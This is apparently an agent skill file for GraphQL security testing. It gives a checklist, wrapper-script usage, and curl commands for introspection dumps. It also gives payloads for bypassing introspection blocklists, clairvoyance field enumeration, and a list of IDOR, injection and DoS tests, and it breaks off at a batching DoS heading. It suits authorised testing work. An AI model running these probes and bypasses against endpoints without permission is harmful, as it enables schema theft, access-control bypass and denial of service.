/graphql-audit

name: graphql-audit
description: GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, gqlmap, graphql-cop, and inql. Use when a target exposes a /graphql, /api/graphql, or GQL-over-HTTP endpoint.

GRAPHQL SECURITY AUDIT

> GraphQL flips the threat model — clients drive queries. One endpoint, infinite attack surface. Introspection hands you the schema; even without it, field suggestions give you 80% back.

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0. QUICK KILL CHECKLIST

[ ] Run graphql_audit.sh <endpoint> — full automated sweep
[ ] Check if introspection is enabled (__schema query)
[ ] If introspection off — run clairvoyance for field discovery
[ ] Fingerprint engine (graphw00f) — different engines, different CVEs
[ ] Test query batching — send 100 identical queries in one POST
[ ] Test alias bombing — 1000 aliases in one query
[ ] Check field suggestions on typos — leaks schema even when introspection off
[ ] Try IDOR: query another user's object by ID, no auth check
[ ] Test field-level auth: query privileged fields (admin, role, internalNote)
[ ] Inject SQLi/NoSQLi via string arguments — id, filter, search args
[ ] Check subscriptions: can you subscribe to other users' events?
[ ] Try introspection bypass: __schema\nquery, query batching, fragment tricks
[ ] Look for mutation rate limiting — account takeover / self-XSS via mutations

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1. TOOL — graphql_audit.sh

# Basic audit
bash tools/graphql_audit.sh https://target.com/graphql

# With auth cookie
bash tools/graphql_audit.sh https://target.com/api/graphql --cookie "session=abc123"

# With Authorization header
bash tools/graphql_audit.sh https://target.com/graphql --header "Authorization: Bearer TOKEN"

# Through Burp proxy
bash tools/graphql_audit.sh https://target.com/graphql --proxy http://127.0.0.1:8080

# Custom output directory
bash tools/graphql_audit.sh https://target.com/graphql --output-dir ./findings/target/graphql

**Output:** `findings/<target>/graphql/<timestamp>/`

• `introspection.json` — full schema dump (if enabled)
• `fingerprint.txt` — engine type (graphw00f)
• `field_suggestions.txt` — discovered fields via clairvoyance
• `batching_dos.txt` — response time delta for 1 vs 100 queries
• `alias_bomb.txt` — alias depth test results
• `gqlmap.txt` — injection scan results
• `cop_report.txt` — graphql-cop attack checklist results
• `summary.txt` — hit/miss per phase

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2. INTROSPECTION — Schema Leak (Most Common First Step)

Check If Enabled

curl -s -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { queryType { name } } }"}' | jq .

Full Schema Dump

# Pull complete introspection schema (pipe to InQL or graphql-voyager)
curl -s -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{
    "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"
  }' | jq . > schema.json

What To Look For In The Schema

- Mutations involving user data: updateUser, deleteAccount, changeEmail, changePassword
- Queries returning other users' objects: user(id: X), order(id: X)
- Fields: internalNote, adminOnly, role, isAdmin, rawPassword, apiKey
- Types: AdminUser, InternalConfig, DebugInfo
- Deprecated fields — often bypassed auth or forgotten
- Subscription types — real-time data leaks

Introspection Bypass Techniques

When `__schema` is blocked, try:

# Newline injection (bypasses naive keyword filters)
{"query": "query {\n  __schema\n  { queryType { name } } }"}

# Fragment trick
{"query": "fragment f on __Schema { queryType { name } } { ...f }"}

# __type instead of __schema (often overlooked in blocklists)
{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}

# Via GET request (some servers allow GET, filter only POST)
GET /graphql?query={__schema{queryType{name}}}

# Over WebSocket (GraphQL subscriptions)
# Different code path — introspection may be unrestricted

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3. FIELD SUGGESTION ABUSE (Introspection Off — Still Works)

GraphQL engines return helpful "Did you mean X?" errors on typos. This leaks field names.

Manual Probe

# Typo on a known field to trigger suggestions
curl -s -X POST https://target.com/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{ usr { id } }"}' | grep -i "suggest\|did you mean\|Cannot query"

Clairvoyance (Automated — Recommended)

# Install
pip install clairvoyance

# Run field discovery against a known type
clairvoyance -u https://target.com/graphql -o schema.json

# With auth
clairvoyance -u https://target.com/graphql \
  -H "Authorization: Bearer TOKEN" \
  -o schema.json

# Seed with known type names (speeds up discovery significantly)
clairvoyance -u https://target.com/graphql \
  --input-document schema_partial.json \
  -o schema_full.json

**What clairvoyance recovers:** type names, field names, argument names — ~80% of introspection output even when blocked.

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4. BATCHING DoS (High Payout, Easy to P